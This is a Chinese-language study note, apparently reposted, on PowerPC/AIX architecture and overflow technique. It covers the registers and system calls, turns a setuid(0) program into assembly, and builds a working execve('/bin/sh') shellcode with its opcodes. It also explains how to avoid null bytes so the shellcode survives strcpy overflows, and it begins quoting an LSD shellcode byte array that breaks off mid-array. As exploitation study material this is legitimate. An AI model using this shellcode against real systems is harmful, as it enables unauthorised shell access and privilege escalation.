网络通信 频道

PowerPC体系结构及其溢出技术学习笔记

一、 熟悉PowerPC体系及其精简指令集计算
  PowerPC体系结构是RISC(精简指令集计算),定义了 200 多条指令。PowerPC 之所以是 RISC,原因在于大部分指令在一个单一的周期内执行,而且是定长的32位指令,通常只执行一个单一的操作(比如将内存加载到寄存器,或者将寄存器数据存储到内存)。差不多有12种指令格式,表现为5类主要的指令:
  
  1、分支(branch)指令
  2、定点(fixed-point)指令
  3、浮点(floating-point)指令
  4、装载和存储指令
  5、处理器控制指令
  
  PowerPC的应用级寄存器分为三类:通用寄存器(general-purpose register,GPR)、浮点寄存器(floating-point register [FPR] 和浮点状态与控制寄存器 [Floating-Point Status and Control Register,FPSCR])和专用寄存器(special-purpose register,SPR)。gdb里的info registers能看到38个寄存器,下面主要介绍这几个常用的寄存器:
  
  通用寄存器的用途:
  
  r0   在函数开始(function prologs)时使用。
  r1   堆栈指针,相当于ia32架构中的esp寄存器,idapro把这个寄存器反汇编标识为sp。
  r2   内容表(toc)指针,idapro把这个寄存器反汇编标识为rtoc。系统调用时,它包含系统调用号。
  r3   作为第一个参数和返回值。
  r4-r10 函数或系统调用开始的参数。
  r11   用在指针的调用和当作一些语言的环境指针。
  r12   它用在异常处理和glink(动态连接器)代码。
  r13   保留作为系统线程ID。
  r14-r31 作为本地变量,非易失性。
  
  专用寄存器的用途:
  
  lr   链接寄存器,它用来存放函数调用结束处的返回地址。
  ctr   计数寄存器,它用来当作循环计数器,会随特定转移操作而递减。
  xer   定点异常寄存器,存放整数运算操作的进位以及溢出信息。
  msr   机器状态寄存器,用来配置微处理器的设定。
  cr   条件寄存器,它分成8个4位字段,cr0-cr7,它反映了某个算法操作的结果并且提供条件分支的机制。
  
  寄存器r1、r14-r31是非易失性的,这意味着它们的值在函数调用过程保持不变。寄存器r2也算非易失性,但是只有在调用函数在调用后必须恢复它的值时才被处理。
  
  寄存器r0、r3-r12和特殊寄存器lr、ctr、xer、fpscr是易失性的,它们的值在函数调用过程中会发生变化。此外寄存器r0、r2、r11和r12可能会被交叉模块调用改变,所以函数在调用的时候不能采用它们的值。
  
  条件代码寄存器字段cr0、cr1、cr5、cr6和cr7是易失性的。cr2、cr3和cr4是非易失性的,函数如果要改变它们必须保存并恢复这些字段。
  
  在AIX上,svca指令(sc是PowerPC的助记符)用来表示系统调用,r2寄存器指定系统调用号,r3-r10寄存器是给该系统调用的参数。在执行系统调用指令之前有两个额外的先决条件:LR寄存器必须保存返回系统调用地址的值并且在系统调用前执行crorc cr6, cr6, cr6指令。
  
  二、学习AIX PowerPC汇编
  由于对AIX PowerPC的汇编很不熟,所以借助gcc的-S来学习一下AIX的汇编。二进制的gcc可以从http://aixpdslib.seas.ucla.edu/下载到。先写一个最小的C程序:
  
  /* setuid.c
  *
  * Learn AIX PowerPC assembly
  */
  #include <unistd.h>
  int main()
  {
    setuid(0);
  }
  
  用gcc的-S选项编译一下:
  
  -bash-2.05b$ gcc -S setuid.c
  
  在当前目录得到setuid.s:
  
      .file  "setuid.c"
      .toc
      .csect .text[PR]
      .align 2
      .globl main
      .globl .main
      .csect main[DS]
  main:
      .long .main, TOC[tc0], 0
      .csect .text[PR]
  .main:
      .extern __mulh
      .extern __mull
      .extern __divss
      .extern __divus
      .extern __quoss
      .extern __quous
      mflr 0
      stw 31,-4(1)
      stw 0,8(1)
      stwu 1,-72(1)
      mr 31,1
      li 3,0
      bl .setuid
      nop
      mr 3,0
      lwz 1,0(1)
      lwz 0,8(1)
      mtlr 0
      lwz 31,-4(1)
      blr
  LT..main:
      .long 0
      .byte 0,0,32,97,128,1,0,1
      .long LT..main-.main
      .short 4
      .byte "main"
      .byte 31
      .align 2
  _section_.text:
      .csect .data[RW],3
      .long _section_.text
  
  经过精简,发现如下这样的格式就足够了:
  
      .globl .main
      .csect .text[PR]
  .main:
      mflr 0
      stw 31,-4(1)
      stw 0,8(1)
      stwu 1,-72(1)
      mr 31,1
      li 3,0
      bl .setuid
      nop
      mr 3,0
      lwz 1,0(1)
      lwz 0,8(1)
      mtlr 0
      lwz 31,-4(1)
      blr
  
  三、学习AIX PowerPC的shellcode
  B-r00t的PowerPC/OS X (Darwin) Shellcode Assembly写的非常通俗易懂,只可惜是OS X系统,不过现在我们也可以依样画葫芦了:
  
  -bash-2.05b$ cat simple_execve.s
  .globl .main
  .csect .text[PR]
  .main:
      xor.  %r5, %r5, %r5    # 把r5寄存器清空,并且在cr寄存器设置相等标志
      bnel  .main        # 如果没有相等标志就进入分支并且把返回地址保存到lr寄存器,这里不会陷入死循环
      mflr  %r3         # 等价于mfspr r3, 8,把lr寄存器的值拷贝到r3。这里r3寄存器的值就是这条指令的地址
      addi  %r3, %r3, 32    # 上一条指令到/bin/sh字符串有8条指令,现在r3是/bin/sh字符串开始的地址
      stw   %r3, -8(%r1)    # argv[0] = string 把r3写入堆栈
      stw   %r5, -4(%r1)    # argv[1] = NULL 把0写入堆栈
      subi  %r4, %r1, 8     # r4指向argv[]
      li   %r2, 5       # AIX 5.1的execve中断号是5
      crorc  %cr6, %cr6, %cr6  # 这个环境不加这条指令也能成功,lsd和IBM Aix PowerPC Assembler的svc指令介绍都提到成功执行系统调用的前提是一个无条件的分支或CR指令。这条指令确保是CR指令。
      svca  0          # execve(r3, r4, r5)
  string:               # execve(path, argv[], NULL)
      .asciz "/bin/sh"
  
  -bash-2.05b$ gcc -o simple_execve simple_execve.s
  -bash-2.05b$ ./simple_execve
  $
  
  正确执行了execve,用objdump查看一下它的opcode:
  
  -bash-2.05b$ objdump -d simple_execve|more
  ...
  0000000010000544 <.main>:
    10000544:  7c a5 2a 79   xor.  r5,r5,r5
    10000548:  40 82 ff fd   bnel  10000544 <.main>
    1000054c:  7c 68 02 a6   mflr  r3
    10000550:  38 63 00 20   cal   r3,32(r3)
    10000554:  90 61 ff f8   st   r3,-8(r1)
    10000558:  90 a1 ff fc   st   r5,-4(r1)
    1000055c:  38 81 ff f8   cal   r4,-8(r1)
    10000560:  38 40 00 05   lil   r2,5
    10000564:  4c c6 33 42   crorc  6,6,6
    10000568:  44 00 00 02   svca  0
    1000056c:  2f 62 69 6e   cmpi  6,r2,26990
    10000570:  2f 73 68 00   cmpi  6,r19,26624
  ...
  
  可以看到有好几条指令的opcode包含了0,这对于strcpy等字符串操作函数导致的溢出会被截断,所以需要编码或者相应指令的替换。不过我们注意到svca指令中间两个字节包含了0,幸好这两个字节是保留字段,并没有被使用,可以用非0字节代替。PowerPC空指令nop的opcode是0x60000000,后面三个字节的0也是保留项,也可以用0x60606060来代替。lsd提供了一个可用的shellcode:
  
  /* shellcode.c
  *
  * ripped from lsd
  */
  
  char shellcode[] =     /* 12*4+8 bytes         */
    "\x7c\xa5\x2a\x79"   /* xor.  r5,r5,r5       */
    "\x40\x82\xff\xfd"   /* bnel  <shellcode>     */
    "\x7f\xe8\x02\xa6"   /* mflr  r31         */
    "\x3b\xff\x01\x20"   /* cal   r31,0x120(r31)    */
    "\x38\x7f\xff\x08"   /* cal   r3,-248(r31)     */
    "\x38\x9f\xff\x10"   /* cal   r4,-240(r31)     */
    "\x90\x7f\xff\x10"   /* st   r3,-240(r31)     */
    "\x90\xbf\xff\x14"  

文章转载地址:http://www.cnpaf.net/Class/hack/06101110492270185242.html

0
相关文章